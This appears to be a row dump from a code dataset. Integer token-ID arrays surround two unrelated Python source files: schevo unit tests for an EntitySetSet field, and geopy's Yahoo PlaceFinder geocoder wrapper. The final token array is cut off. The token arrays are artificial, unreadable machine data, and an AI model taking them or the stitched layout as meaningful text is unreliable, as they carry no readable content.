4882,
267,
3285,
9063,
29918,
4882,
267,
3101,
13,
1678,
822,
1243,
29918,
8394,
29918,
4882,
29918,
13011,
29898,
1311,
29892,
4660,
29896,
29892,
4660,
29906,
1125,
13,
4706,
9995,
13,
4706,
9550,
4660,
310,
263,
1051,
338,
278,
9281,
29889,
13,
4706,
9995,
13,
4706,
3646,
353,
4660,
29896,
13,
4706,
565,
4660,
29906,
1839,
21402,
29918,
271,
2033,
1405,
4660,
29896,
1839,
21402,
29918,
271,
2033,
29901,
13,
9651,
3646,
353,
4660,
29906,
13,
4706,
1583,
29889,
9294,
9843,
29898,
5182,
29892,
10366,
29918,
558,
29889,
8394,
29918,
4882,
4197,
4882,
29906,
29892,
4660,
29896,
12622,
13,
13,
1678,
732,
29887,
5428,
29898,
15060,
29918,
4882,
267,
29898,
3859,
29922,
726,
2141,
4572,
29898,
2892,
921,
29901,
921,
2804,
318,
29915,
8698,
29915,
4961,
13,
1678,
822,
1243,
29918,
1333,
29918,
8698,
29898,
1311,
29892,
4660,
1125,
13,
4706,
9995,
13,
4706,
29849,
421,
1333,
29918,
8698,
29952,
363,
3099,
5174,
525,
8698,
4286,
13,
4706,
9995,
13,
4706,
1583,
29889,
9294,
9843,
29898,
5574,
29892,
10366,
29918,
558,
29889,
1333,
29918,
8698,
29898,
4882,
876,
13,
13,
1678,
732,
29887,
5428,
29898,
15060,
29918,
4882,
267,
29898,
3859,
29922,
5143,
29898,
29884,
29915,
8698,
29915,
4961,
13,
1678,
822,
1243,
29918,
1333,
29918,
8698,
29918,
8698,
29898,
1311,
29892,
4660,
1125,
13,
4706,
9995,
13,
4706,
421,
1333,
29918,
8698,
29952,
7700,
363,
525,
8698,
4286,
13,
4706,
9995,
13,
4706,
1583,
29889,
9294,
9843,
29898,
8824,
29892,
10366,
29918,
558,
29889,
1333,
29918,
8698,
29898,
4882,
876,
13,
13,
1678,
732,
29887,
5428,
29898,
15060,
29918,
4882,
267,
3285,
432,
16468,
29918,
9902,
29897,
13,
1678,
822,
1243,
29918,
4830,
29918,
4882,
29898,
1311,
29892,
4660,
29892,
432,
16468,
1125,
13,
4706,
9995,
13,
4706,
421,
4830,
29918,
4882,
29952,
13880,
29104,
393,
26649,
278,
3030,
322,
3142,
29889,
13,
4706,
9995,
13,
4706,
20917,
353,
10366,
29918,
558,
29889,
4830,
29918,
4882,
3552,
4882,
29892,
432,
16468,
876,
13,
4706,
1583,
29889,
9294,
3624,
4998,
29898,
689,
19667,
29892,
29104,
29897,
13,
4706,
1583,
29889,
9294,
797,
29898,
4882,
1839,
4703,
7464,
20917,
29897,
13,
4706,
1583,
29889,
9294,
797,
29898,
4882,
1839,
5182,
29918,
2271,
7464,
20917,
29897,
13,
13,
13,
29937,
4525,
16650,
583,
526,
2215,
515,
4866,
23746,
310,
278,
1950,
13,
29937,
23750,
3450,
20890,
29889,
13,
13,
4142,
11335,
29918,
4282,
29879,
353,
4343,
29918,
29467,
4314,
29898,
8977,
29898,
13,
1678,
1121,
29922,
11249,
29881,
29918,
3166,
4197,
8516,
29892,
525,
4519,
6227,
11499,
742,
525,
2882,
8476,
3352,
742,
525,
14605,
26925,
2033,
4961,
13,
15945,
29908,
26910,
363,
14655,
6475,
310,
5375,
23315,
310,
263,
23750,
4982,
1213,
15945,
13,
13,
13,
6632,
29918,
29933,
3120,
29931,
8452,
353,
1203,
580,
13,
15945,
29908,
13,
29903,
15440,
295,
304,
1827,
393,
421,
4142,
11335,
29918,
4282,
29918,
9902,
29952,
881,
451,
3160,
278,
23315,
1820,
29889,
13,
15945,
29908,
13,
13,
13,
1753,
432,
16468,
29918,
4282,
29918,
9902,
29898,
262,
10620,
29922,
8516,
29892,
23315,
29922,
8516,
1125,
13,
1678,
9995,
4391,
263,
13705,
363,
14655,
23750,
3450,
2472,
363,
263,
4982,
29889,
13,
13,
1678,
584,
3207,
13705,
297,
10620,
29901,
13705,
363,
278,
297,
10620,
1820,
29892,
470,
6213,
304,
671,
13,
4706,
278,
2322,
29889,
13,
1678,
584,
3207,
13705,
23315,
29901,
13705,
363,
14938,
1218,
278,
23315,
1820,
29892,
470,
6213,
13,
4706,
363,
278,
2322,
29889,
450,
4266,
995,
421,
6632,
29918,
29933,
3120,
29931,
8452,
29952,
674,
2099,
393,
278,
13,
4706,
23315,
1820,
338,
451,
297,
278,
9819,
9657,
472,
599,
29889,
13,
1678,
584,
2457,
13705,
29901,
263,
13705,
29889,
13,
1678,
9995,
13,
1678,
851,
1446,
353,
5159,
13,
1678,
565,
297,
10620,
338,
6213,
29901,
13,
4706,
297,
10620,
353,
1045,
1772,
550,
580,
13,
4706,
851,
1446,
29889,
4397,
29898,
5143,
29898,
29886,
1958,
22130,
13,
1678,
1728,
29918,
4282,
29879,
353,
4343,
29918,
29467,
4314,
29898,
8977,
29898,
13,
4706,
297,
10620,
29922,
262,
10620,
876,
13,
1678,
565,
23315,
338,
6213,
470,
23315,
338,
11698,
29918,
29933,
3120,
29931,
8452,
29901,
13,
4706,
851,
1446,
29889,
4397,
29898,
14037,
29918,
4282,
29879,
29897,
13,
1678,
565,
23315,
338,
6213,
29901,
13,
4706,
23315,
353,
8857,
29898,
4142,
11335,
29918,
4282,
29879,
29892,
6588,
29918,
2311,
29922,
29896,
29897,
13,
1678,
565,
23315,
338,
451,
11698,
29918,
29933,
3120,
29931,
8452,
29901,
13,
4706,
411,
29918,
4282,
29879,
353,
4343,
29918,
29467,
4314,
29898,
8977,
29898,
13,
9651,
297,
10620,
29922,
262,
10620,
29892,
13,
9651,
23315,
29922,
4282,
29879,
29892,
13,
9651,
2875,
29922,
29467,
4314,
29898,
13,
18884,
1426,
29898,
3317,
29918,
2311,
29922,
29906,
511,
1426,
29898,
3317,
29918,
2311,
29922,
29906,
511,
13,
18884,
6588,
29918,
2311,
29922,
29896,
29892,
4236,
29918,
2311,
29922,
29906,
4961,
13,
4706,
851,
1446,
29889,
4397,
29898,
2541,
29918,
4282,
29879,
29897,
13,
1678,
736,
697,
29918,
974,
10456,
710,
1446,
29897,
13,
13,
13,
1990,
23750,
12191,
24376,
29898,
3057,
8259,
1125,
13,
1678,
9995,
13,
1678,
4321,
29879,
363,
19854,
310,
2048,
2582,
515,
23750,
29889,
13,
1678,
9995,
13,
13,
1678,
732,
29887,
5428,
29898,
4142,
11335,
29918,
4282,
29918,
9902,
3101,
13,
1678,
822,
1243,
29918,
2914,
29918,
8768,
29898,
1311,
29892,
5235,
1125,
13,
4706,
9995,
13,
4706,
7867,
2337,
263,
18761,
6695,
29967,
16468,
12191,
1673,
7198,
29961,
8977,
2314,
13,
4706,
9995,
13,
4706,
1121,
29892,
8636,
353,
10366,
29918,
558,
29889,
4142,
11335,
29918,
3888,
29918,
3166,
29918,
5327,
29898,
3888,
29897,
13,
4706,
1583,
29889,
9294,
797,
29898,
2914,
29892,
1051,
29898,
14634,
29918,
558,
29889,
29967,
16468,
12191,
29889,
1524,
3075,
1934,
22130,
13,
4706,
565,
8636,
338,
451,
6213,
29901,
13,
9651,
1583,
29889,
9294,
3624,
4998,
29898,
7529,
29892,
9657,
29897,
13,
13,
1678,
732,
29887,
5428,
29898,
4142,
11335,
29918,
4282,
29918,
9902,
29898,
262,
10620,
29922,
5143,
29898,
5574,
4961,
13,
1678,
822,
1243,
29918,
262,
29918,
9990,
29898,
1311,
29892,
5235,
1125,
13,
4706,
9995,
13,
4706,
17163,
411,
297,
10620,
353,
5852,
338,
421,
29934,
3904,
29940,
4214,
1412,
13,
4706,
9995,
13,
4706,
1121,
29892,
8636,
353,
10366,
29918,
558,
29889,
4142,
11335,
29918,
3888,
29918,
3166,
29918,
5327,
29898,
3888,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
14634,
29918,
558,
29889,
29967,
16468,
12191,
29889,
29934,
3904,
29940,
4214,
29892,
1121,
29897,
13,
4706,
1583,
29889,
9294,
9843,
3319,
1118,
8636,
29897,
13,
13,
1678,
732,
29887,
5428,
29898,
4142,
11335,
29918,
4282,
29918,
9902,
29898,
262,
10620,
29922,
5143,
29898,
8824,
511,
23315,
29922,
6632,
29918,
29933,
3120,
29931,
8452,
876,
13,
1678,
822,
1243,
29918,
4282,
29879,
29918,
1333,
29918,
6338,
29898,
1311,
29892,
5235,
1125,
13,
4706,
9995,
13,
4706,
17163,
1728,
263,
23315,
1051,
338,
421,
3904,
29968,
6632,
16048,
1412,
13,
4706,
9995,
13,
4706,
1121,
29892,
8636,
353,
10366,
29918,
558,
29889,
4142,
11335,
29918,
3888,
29918,
3166,
29918,
5327,
29898,
3888,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
14634,
29918,
558,
29889,
29967,
16468,
12191,
29889,
3904,
29968,
6632,
16048,
29892,
1121,
29897,
13,
4706,
1583,
29889,
9294,
9843,
3319,
1118,
8636,
29897,
13,
13,
1678,
732,
29887,
5428,
29898,
4142,
11335,
29918,
4282,
29918,
9902,
29898,
262,
10620,
29922,
5143,
29898,
8824,
511,
23315,
29922,
5143,
29898,
572,
391,
580,
4961,
13,
1678,
822,
1243,
29918,
1217,
29918,
4282,
29879,
29898,
1311,
29892,
5235,
1125,
13,
4706,
9995,
13,
4706,
17163,
411,
4069,
23315,
1051,
338,
421,
12256,
29934,
3904,
1412,
13,
4706,
9995,
13,
4706,
1121,
29892,
8636,
353,
10366,
29918,
558,
29889,
4142,
11335,
29918,
3888,
29918,
3166,
29918,
5327,
29898,
3888,
29897,
13,
4706,
1583,
29889,
9294,
9843,
29898,
14634,
29918,
558,
29889,
29967,
16468,
12191,
29889,
12256,
29934,
3904,
29892,
1121,
29897,
13,
4706,
1583,
29889,
9294,
9843,
3319,
1118,
8636,
29897,
13,
2
] |
schevo/test/test_field_entitysetset.py | Schevo/schevo | 1 | 64523 | """EntitySetSet field unit tests."""
# Copyright (c) 2001-2009 ElevenCraft Inc.
# See LICENSE for details.
from schevo.test import BaseTest, CreatesSchema, raises
from schevo.constant import UNASSIGNED
from schevo.error import KeyCollision
from schevo.placeholder import Placeholder
class BaseFieldEntitySetSet(CreatesSchema):
body = '''
class Foo(E.Entity):
name = f.string()
_key(name)
class Bar(E.Entity):
foo_set = f.entity_set_set('Foo', required=False)
_key(foo_set)
class Baz(E.Entity):
foo_set = f.entity_set_set('Foo', min_size=1)
class Bof(E.Entity):
name = f.string()
_key(name)
'''
def test_store_and_retrieve_UNASSIGNED(self):
bar = ex(db.Bar.t.create(foo_set=UNASSIGNED))
assert bar.foo_set is UNASSIGNED
self.reopen()
assert bar.foo_set is UNASSIGNED
def test_store_and_retrieve_one_entity(self):
foo = ex(db.Foo.t.create(name='foo'))
bar = ex(db.Bar.t.create(foo_set=set([frozenset([foo])])))
assert bar.foo_set == set([frozenset([foo])])
bar2 = ex(db.Bar.t.create(foo_set=UNASSIGNED))
assert bar2.foo_set is UNASSIGNED
self.reopen()
assert bar.foo_set == set([frozenset([foo])])
assert bar2.foo_set is UNASSIGNED
def test_store_and_retrieve_multiple_entities(self):
foo1 = ex(db.Foo.t.create(name='foo1'))
foo2 = ex(db.Foo.t.create(name='foo2'))
foo3 = ex(db.Foo.t.create(name='foo3'))
bar = ex(db.Bar.t.create(foo_set=set([frozenset([foo1, foo2, foo1]),
frozenset([foo3])])))
assert bar.foo_set == set([frozenset([foo1, foo2]), frozenset([foo3])])
self.reopen()
assert bar.foo_set == set([frozenset([foo1, foo2]), frozenset([foo3])])
def test_mutate_transaction_field_value(self):
foo1 = ex(db.Foo.t.create(name='foo1'))
foo2 = ex(db.Foo.t.create(name='foo2'))
bar = ex(db.Bar.t.create(foo_set=set([frozenset([foo1])])))
assert bar.foo_set == set([frozenset([foo1])])
tx = bar.t.update()
tx.foo_set.add(frozenset([foo2]))
db.execute(tx)
assert bar.foo_set == set([frozenset([foo1]), frozenset([foo2])])
def test_immutable_entity_view_field_value(self):
foo1 = ex(db.Foo.t.create(name='foo1'))
foo2 = ex(db.Foo.t.create(name='foo2'))
bar = ex(db.Bar.t.create(foo_set=set([frozenset([foo1])])))
assert raises(AttributeError, getattr, bar.foo_set, 'add')
v = bar.v.default()
assert raises(AttributeError, getattr, v.foo_set, 'add')
def test_storing_wrong_type_fails(self):
foo = ex(db.Foo.t.create(name='foo'))
bof = ex(db.Bof.t.create(name='bof'))
tx = db.Bar.t.create(foo_set=set([frozenset([foo, bof])]))
assert raises(TypeError, db.execute, tx)
def test_links_are_maintained(self):
foo = ex(db.Foo.t.create(name='foo'))
bar1 = ex(db.Bar.t.create(foo_set=set([frozenset([foo])])))
assert foo.m.bars() == [bar1]
try:
ex(db.Bar.t.create(foo_set=set([frozenset([foo])])))
except KeyCollision, e:
assert e.extent_name == 'Bar'
assert e.key_spec == ('foo_set',)
print e.field_values
assert e.field_values == (
((Placeholder(foo), ), ),
)
def test_min_size_max_size(self):
# Make sure that empty sets are allowed by default.
foo = ex(db.Foo.t.create(name='foo'))
tx = db.Bar.t.create(foo_set=set([]))
bar = db.execute(tx)
assert list(bar.foo_set) == []
# Make sure they are not allowed when min_size > 0.
tx = db.Baz.t.create(foo_set=set([]))
call = ex, tx
assert raises(ValueError, *call)
class TestFieldEntitySetSet2(BaseFieldEntitySetSet):
include = True
format = 2
# class TestFieldEntitySetSet1(BaseTest):
# """This tests for failure, since EntitySetSet is not allowed in
# format 1 databases.
# Create a schema that contains an EntitySetSet field::
# >>> body = '''
# ... class Foo(E.Entity):
# ...
# ... name = f.string()
# ...
# ... _key(name)
# ...
# ... class Bar(E.Entity):
# ...
# ... foo_set = f.entity_set_set('Foo')
# ...
# ... class Bof(E.Entity):
# ...
# ... name = f.string()
# ...
# ... _key(name)
# ... '''
# Creating a format 2 database using the schema works fine::
# >>> from schevo.test import DocTest
# >>> t = DocTest(body, format=2)
# However, creating a format 1 database using the schema results in the
# database engine raising an UnsupportedFieldType error::
# >>> t = DocTest(body, format=1) #doctest: +ELLIPSIS
# Traceback (most recent call last):
# ...
# UnsupportedFieldType: ...
# """
| [
1,
9995,
6691,
2697,
2697,
1746,
5190,
6987,
1213,
15945,
13,
13,
29937,
14187,
1266,
313,
29883,
29897,
29871,
29906,
29900,
29900,
29896,
29899,
29906,
29900,
29900,
29929,
8317,
854,
29907,
4154,
9266,
29889,
13,
29937,
2823,
365,
2965,
1430,
1660,
363,
4902,
29889,
13,
13,
3166,
21014,
1365,
29889,
1688,
1053,
7399,
3057,
29892,
6760,
1078,
12763,
29892,
1153,
4637,
13,
13,
3166,
21014,
1365,
29889,
23362,
1053,
501,
3521,
1799,
17298,
3352,
13,
3166,
21014,
1365,
29889,
2704,
1053,
7670,
28377,
2459,
13,
3166,
21014,
1365,
29889,
27074,
1053,
15484,
7694,
13,
13,
13,
1990,
7399,
3073,
6691,
2697,
2697,
29898,
9832,
1078,
12763,
1125,
13,
13,
1678,
3573,
353,
14550,
13,
4706,
770,
13679,
29898,
29923,
29889,
6691,
1125,
13,
13,
9651,
1024,
353,
285,
29889,
1807,
580,
13,
13,
9651,
903,
1989,
29898,
978,
29897,
13,
13,
13,
4706,
770,
2261,
29898,
29923,
29889,
6691,
1125,
13,
13,
9651,
7953,
29918,
842,
353,
285,
29889,
10041,
29918,
842,
29918,
842,
877,
14016,
742,
3734,
29922,
8824,
29897,
13,
13,
9651,
903,
1989,
29898,
5431,
29918,
842,
29897,
13,
13,
13,
4706,
770,
350,
834,
29898,
29923,
29889,
6691,
1125,
13,
13,
9651,
7953,
29918,
842,
353,
285,
29889,
10041,
29918,
842,
29918,
842,
877,
14016,
742,
1375,
29918,
2311,
29922,
29896,
29897,
13,
13,
13,
4706,
770,
350,
974,
29898,
29923,
29889,
6691,
1125,
13,
13,
9651,
1024,
353,
285,
29889,
1807,
580,
13,
13,
9651,
903,
1989,
29898,
978,
29897,
13,
4706,
14550,
13,
13,
1678,
822,
1243,
29918,
8899,
29918,
392,
29918,
276,
509,
2418,
29918,
29965,
3521,
1799,
17298,
3352,
29898,
1311,
1125,
13,
4706,
2594,
353,
429,
29898,
2585,
29889,
4297,
29889,
29873,
29889,
3258,
29898,
5431,
29918,
842,
29922,
29965,
3521,
1799,
17298,
3352,
876,
13,
4706,
4974,
2594,
29889,
5431,
29918,
842,
338,
501,
3521,
1799,
17298,
3352,
13,
4706,
1583,
29889,
276,
3150,
580,
13,
4706,
4974,
2594,
29889,
5431,
29918,
842,
338,
501,
3521,
1799,
17298,
3352,
13,
13,
1678,
822,
1243,
29918,
8899,
29918,
392,
29918,
276,
509,
2418,
29918,
650,
29918,
10041,
29898,
1311,
1125,
13,
4706,
7953,
353,
429,
29898,
2585,
29889,
14016,
29889,
29873,
29889,
3258,
29898,
978,
2433,
5431,
8785,
13,
4706,
2594,
353,
429,
29898,
2585,
29889,
4297,
29889,
29873,
29889,
3258,
29898,
5431,
29918,
842,
29922,
842,
4197,
29888,
16997,
575,
300,
4197,
5431,
2314,
29962,
4961,
13,
4706,
4974,
2594,
29889,
5431,
29918,
842,
1275,
731,
4197,
29888,
16997,
575,
300,
4197,
5431,
2314,
2314,
13,
4706,
2594,
29906,
353,
429,
29898,
2585,
29889,
4297,
29889,
29873,
29889,
3258,
29898,
5431,
29918,
842,
29922,
29965,
3521,
1799,
17298,
3352,
876,
13,
4706,
4974,
2594,
29906,
29889,
5431,
29918,
842,
338,
501,
3521,
1799,
17298,
3352,
13,
4706,
1583,
29889,
276,
3150,
580,
13,
4706,
4974,
2594,
29889,
5431,
29918,
842,
1275,
731,
4197,
29888,
16997,
575,
300,
4197,
5431,
2314,
2314,
13,
4706,
4974,
2594,
29906,
29889,
5431,
29918,
842,
338,
501,
3521,
1799,
17298,
3352,
13,
13,
1678,
822,
1243,
29918,
8899,
29918,
392,
29918,
276,
509,
2418,
29918,
20787,
29918,
296,
1907,
29898,
1311,
1125,
13,
4706,
7953,
29896,
353,
429,
29898,
2585,
29889,
14016,
29889,
29873,
29889,
3258,
29898,
978,
2433,
5431,
29896,
8785,
13,
4706,
7953,
29906,
353,
429,
29898,
2585,
29889,
14016,
29889,
29873,
29889,
3258,
29898,
978,
2433,
5431,
29906,
8785,
13,
4706,
7953,
29941,
353,
429,
29898,
2585,
29889,
14016,
29889,
29873,
29889,
3258,
29898,
978,
2433,
5431,
29941,
8785,
13,
4706,
2594,
353,
429,
29898,
2585,
29889,
4297,
29889,
29873,
29889,
3258,
29898,
5431,
29918,
842,
29922,
842,
4197,
29888,
16997,
575,
300,
4197,
5431,
29896,
29892,
7953,
29906,
29892,
7953,
29896,
11724,
13,
462,
462,
795,
14671,
29920,
575,
300,
4197,
5431,
29941,
2314,
29962,
4961,
13,
4706,
4974,
2594,
29889,
5431,
29918,
842,
1275,
731,
4197,
29888,
16997,
575,
300,
4197,
5431,
29896,
29892,
7953,
29906,
11724,
14671,
29920,
575,
300,
4197,
5431,
29941,
2314,
2314,
13,
4706,
1583,
29889,
276,
3150,
580,
13,
4706,
4974,
2594,
29889,
5431,
29918,
842,
1275,
731,
4197,
29888,
16997,
575,
300,
4197,
5431,
29896,
29892,
7953,
29906,
11724,
14671,
29920,
575,
300,
4197,
5431,
29941,
2314,
2314,
13,
13,
1678,
822,
1243,
29918,
6149,
403,
29918,
20736,
29918,
2671,
29918,
1767,
29898,
1311,
1125,
13,
4706,
7953,
29896,
353,
429,
29898,
2585,
29889,
14016,
29889,
29873,
29889,
3258,
29898,
978,
2433,
5431,
29896,
8785,
13,
4706,
7953,
29906,
353,
429,
29898,
2585,
29889,
14016,
29889,
29873,
29889,
3258,
29898,
978,
2433,
5431,
29906,
8785,
13,
4706,
2594,
353,
429,
29898,
2585,
29889,
4297,
29889,
29873,
29889,
3258,
29898,
5431,
29918,
842,
29922,
842,
4197,
29888,
16997,
575,
300,
4197,
5431,
29896,
2314,
29962,
4961,
13,
4706,
4974,
2594,
29889,
5431,
29918,
842,
1275,
731,
4197,
29888,
16997,
575,
300,
4197,
5431,
29896,
2314,
2314,
13,
4706,
25568,
353,
2594,
29889,
29873,
29889,
5504,
580,
13,
4706,
25568,
29889,
5431,
29918,
842,
29889,
1202,
29898,
29888,
16997,
575,
300,
4197,
5431,
29906,
12622,
13,
4706,
4833,
29889,
7978,
29898,
7508,
29897,
13,
4706,
4974,
2594,
29889,
5431,
29918,
842,
1275,
731,
4197,
29888,
16997,
575,
300,
4197,
5431,
29896,
11724,
14671,
29920,
575,
300,
4197,
5431,
29906,
2314,
2314,
13,
13,
1678,
822,
1243,
29918,
326,
23975,
29918,
10041,
29918,
1493,
29918,
2671,
29918,
1767,
29898,
1311,
1125,
13,
4706,
7953,
29896,
353,
429,
29898,
2585,
29889,
14016,
29889,
29873,
29889,
3258,
29898,
978,
2433,
5431,
29896,
8785,
13,
4706,
7953,
29906,
353,
429,
29898,
2585,
29889,
14016,
29889,
29873,
29889,
3258,
29898,
978,
2433,
5431,
29906,
8785,
13,
4706,
2594,
353,
429,
29898,
2585,
29889,
4297,
29889,
29873,
29889,
3258,
29898,
5431,
29918,
842,
29922,
842,
4197,
29888,
16997,
575,
300,
4197,
5431,
29896,
2314,
29962,
4961,
13,
4706,
4974,
1153,
4637,
29898,
6708,
2392,
29892,
679,
5552,
29892,
2594,
29889,
5431,
29918,
842,
29892,
525,
1202,
1495,
13,
4706,
325,
353,
2594,
29889,
29894,
29889,
4381,
580,
13,
4706,
4974,
1153,
4637,
29898,
6708,
2392,
29892,
679,
5552,
29892,
325,
29889,
5431,
29918,
842,
29892,
525,
1202,
1495,
13,
13,
1678,
822,
1243,
29918,
303,
8253,
29918,
15866,
549,
29918,
1853,
29918,
29888,
2234,
29898,
1311,
1125,
13,
4706,
7953,
353,
429,
29898,
2585,
29889,
14016,
29889,
29873,
29889,
3258,
29898,
978,
2433,
5431,
8785,
13,
4706,
289,
974,
353,
429,
29898,
2585,
29889,
29933,
974,
29889,
29873,
29889,
3258,
29898,
978,
2433,
833,
29888,
8785,
13,
4706,
25568,
353,
4833,
29889,
4297,
29889,
29873,
29889,
3258,
29898,
5431,
29918,
842,
29922,
842,
4197,
29888,
16997,
575,
300,
4197,
5431,
29892,
289,
974,
2314,
12622,
13,
4706,
4974,
1153,
4637,
29898,
1542,
2392,
29892,
4833,
29889,
7978,
29892,
25568,
29897,
13,
13,
1678,
822,
1243,
29918,
4965,
29918,
598,
29918,
29885,
2365,
7114,
29898,
1311,
1125,
13,
4706,
7953,
353,
429,
29898,
2585,
29889,
14016,
29889,
29873,
29889,
3258,
29898,
978,
2433,
5431,
8785,
13,
4706,
2594,
29896,
353,
429,
29898,
2585,
29889,
4297,
29889,
29873,
29889,
3258,
29898,
5431,
29918,
842,
29922,
842,
4197,
29888,
16997,
575,
300,
4197,
5431,
2314,
29962,
4961,
13,
4706,
4974,
7953,
29889,
29885,
29889,
28408,
580,
1275,
518,
1646,
29896,
29962,
13,
4706,
1018,
29901,
13,
9651,
429,
29898,
2585,
29889,
4297,
29889,
29873,
29889,
3258,
29898,
5431,
29918,
842,
29922,
842,
4197,
29888,
16997,
575,
300,
4197,
5431,
2314,
29962,
4961,
13,
4706,
5174,
7670,
28377,
2459,
29892,
321,
29901,
13,
9651,
4974,
321,
29889,
1062,
296,
29918,
978,
1275,
525,
4297,
29915,
13,
9651,
4974,
321,
29889,
1989,
29918,
6550,
1275,
6702,
5431,
29918,
842,
742,
29897,
13,
9651,
1596,
321,
29889,
2671,
29918,
5975,
13,
9651,
4974,
321,
29889,
2671,
29918,
5975,
1275,
313,
13,
18884,
5135,
22150,
7694,
29898,
5431,
511,
10353,
10353,
13,
18884,
1723,
13,
13,
1678,
822,
1243,
29918,
1195,
29918,
2311,
29918,
3317,
29918,
2311,
29898,
1311,
1125,
13,
4706,
396,
8561,
1854,
393,
4069,
6166,
526,
6068,
491,
2322,
29889,
13,
4706,
7953,
353,
429,
29898,
2585,
29889,
14016,
29889,
29873,
29889,
3258,
29898,
978,
2433,
5431,
8785,
13,
4706,
25568,
353,
4833,
29889,
4297,
29889,
29873,
29889,
3258,
29898,
5431,
29918,
842,
29922,
842,
29898,
2636,
876,
13,
4706,
2594,
353,
4833,
29889,
7978,
29898,
7508,
29897,
13,
4706,
4974,
1051,
29898,
1646,
29889,
5431,
29918,
842,
29897,
1275,
5159,
13,
4706,
396,
8561,
1854,
896,
526,
451,
6068,
746,
1375,
29918,
2311,
1405,
29871,
29900,
29889,
13,
4706,
25568,
353,
4833,
29889,
29933,
834,
29889,
29873,
29889,
3258,
29898,
5431,
29918,
842,
29922,
842,
29898,
2636,
876,
13,
4706,
1246,
353,
429,
29892,
25568,
13,
4706,
4974,
1153,
4637,
29898,
1917,
2392,
29892,
334,
4804,
29897,
13,
13,
13,
1990,
4321,
3073,
6691,
2697,
2697,
29906,
29898,
5160,
3073,
6691,
2697,
2697,
1125,
13,
13,
1678,
3160,
353,
5852,
13,
13,
1678,
3402,
353,
29871,
29906,
13,
13,
13,
29937,
770,
4321,
3073,
6691,
2697,
2697,
29896,
29898,
5160,
3057,
1125,
13,
29937,
268,
9995,
4013,
6987,
363,
10672,
29892,
1951,
14945,
2697,
2697,
338,
451,
6068,
297,
13,
29937,
268,
3402,
29871,
29896,
21218,
29889,
13,
13,
29937,
268,
6204,
263,
10938,
393,
3743,
385,
14945,
2697,
2697,
1746,
1057,
13,
13,
29937,
308,
8653,
3573,
353,
14550,
13,
29937,
308,
2023,
268,
770,
13679,
29898,
29923,
29889,
6691,
1125,
13,
29937,
308,
2023,
13,
29937,
308,
2023,
308,
1024,
353,
285,
29889,
1807,
580,
13,
29937,
308,
2023,
13,
29937,
308,
2023,
308,
903,
1989,
29898,
978,
29897,
13,
29937,
308,
2023,
13,
29937,
308,
2023,
268,
770,
2261,
29898,
29923,
29889,
6691,
1125,
13,
29937,
308,
2023,
13,
29937,
308,
2023,
308,
7953,
29918,
842,
353,
285,
29889,
10041,
29918,
842,
29918,
842,
877,
14016,
1495,
13,
29937,
308,
2023,
13,
29937,
308,
2023,
268,
770,
350,
974,
29898,
29923,
29889,
6691,
1125,
13,
29937,
308,
2023,
13,
29937,
308,
2023,
308,
1024,
353,
285,
29889,
1807,
580,
13,
29937,
308,
2023,
13,
29937,
308,
2023,
308,
903,
1989,
29898,
978,
29897,
13,
29937,
308,
2023,
268,
14550,
13,
13,
29937,
268,
26221,
263,
3402,
29871,
29906,
2566,
773,
278,
10938,
1736,
2691,
1057,
13,
13,
29937,
308,
8653,
515,
21014,
1365,
29889,
1688,
1053,
28197,
3057,
13,
29937,
308,
8653,
260,
353,
28197,
3057,
29898,
2587,
29892,
3402,
29922,
29906,
29897,
13,
13,
29937,
268,
2398,
29892,
4969,
263,
3402,
29871,
29896,
2566,
773,
278,
10938,
2582,
297,
278,
13,
29937,
268,
2566,
6012,
29263,
385,
853,
23765,
3073,
1542,
1059,
1057,
13,
13,
29937,
308,
8653,
260,
353,
28197,
3057,
29898,
2587,
29892,
3402,
29922,
29896,
29897,
396,
1867,
312,
342,
29901,
718,
29923,
2208,
5690,
29903,
3235,
13,
29937,
308,
29243,
313,
3242,
7786,
1246,
1833,
1125,
13,
29937,
965,
2023,
13,
29937,
308,
853,
23765,
3073,
1542,
29901,
2023,
13,
13,
29937,
268,
9995,
13,
2
] |
geopy/geocoders/yahoo.py | pivotal-energy-solutions/geopy | 1 | 1616336 | """
Wrapper to the Yahoo's new PlaceFinder API. (doc says that the API RELEASE 1.0 (22 JUNE 2010))
"""
import xml.dom.minidom
import sys
from geopy import util
from geopy import Point
from urllib2 import urlopen
from geopy.geocoders.base import Geocoder
try:
import json
except ImportError:
try:
import simplejson as json
except ImportError:
from django.utils import simplejson as json
try:
from django.utils.http import urlencode
except ImportError:
from urllib import urlencode
class Yahoo(Geocoder):
BASE_URL = "http://where.yahooapis.com/geocode?%s"
def __init__(self, app_id, format_string='%s', output_format=None):
self.app_id = app_id
self.format_string = format_string
if output_format != None:
from warnings import warn
warn('geopy.geocoders.yahoo.Yahoo: The `output_format` parameter is deprecated '+
'and now ignored. JSON will be used internally.', DeprecationWarning)
def geocode(self, string, exactly_one=True, timeout=None):
self.search_string = string
params = {'location': self.format_string % self.search_string,
'appid': self.app_id,
'flags': 'J'
}
url = self.BASE_URL % urlencode(params)
self.url = url
util.logger.debug("Fetching %s..." % self.url)
return self.geocode_url(url, exactly_one, timeout=timeout)
def geocode_url(self, url, exactly_one=True, timeout=None):
kwargs = dict(url=url)
if timeout and sys.version_info > (2,6,0): kwargs['timeout'] = timeout
page = urlopen(**kwargs)
return self.parse_json(page, exactly_one)
def _parse_result(self, place):
line1, line2, line3, line4 = place.get('line1'), place.get('line2'), place.get('line3'), place.get('line4')
address = util.join_filter(", ", [line1, line2, line3, line4])
city = place.get('city')
state = place.get('state')
country = place.get('country')
location = util.join_filter(", ", [address, city, country])
lat, lng = place.get('latitude'), place.get('longitude')
#if lat and lng:
# point = Point(floatlat, lng)
#else:
# point = None
return (location, (float(lat), float(lng)))
def parse_json(self, page, exactly_one=True):
if not isinstance(page, basestring):
page = util.decode_page(page)
doc = json.loads(page)
results = doc.get('ResultSet', []).get('Results', [])
if not results:
raise ValueError("No results found")
elif exactly_one and len(results) != 1:
raise ValueError("Didn't find exactly one result! " \
"(Found %d.)" % len(results))
if exactly_one:
return self._parse_result(results[0])
else:
return [self._parse_result(result) for result in results]
def reverse(self, coord, exactly_one=True):
(lat, lng) = coord
params = {'location': '%s,%s' % (lat, lng),
'gflags' : 'R',
'appid': self.app_id,
'flags': 'J'
}
url = self.BASE_URL % urlencode(params)
return self.geocode_url(url, exactly_one)
| [
1,
9995,
13,
15646,
304,
278,
612,
26779,
29915,
29879,
716,
15484,
29943,
4995,
3450,
29889,
313,
1514,
4083,
393,
278,
3450,
5195,
14063,
29871,
29896,
29889,
29900,
313,
29906,
29906,
435,
3904,
29923,
29871,
29906,
29900,
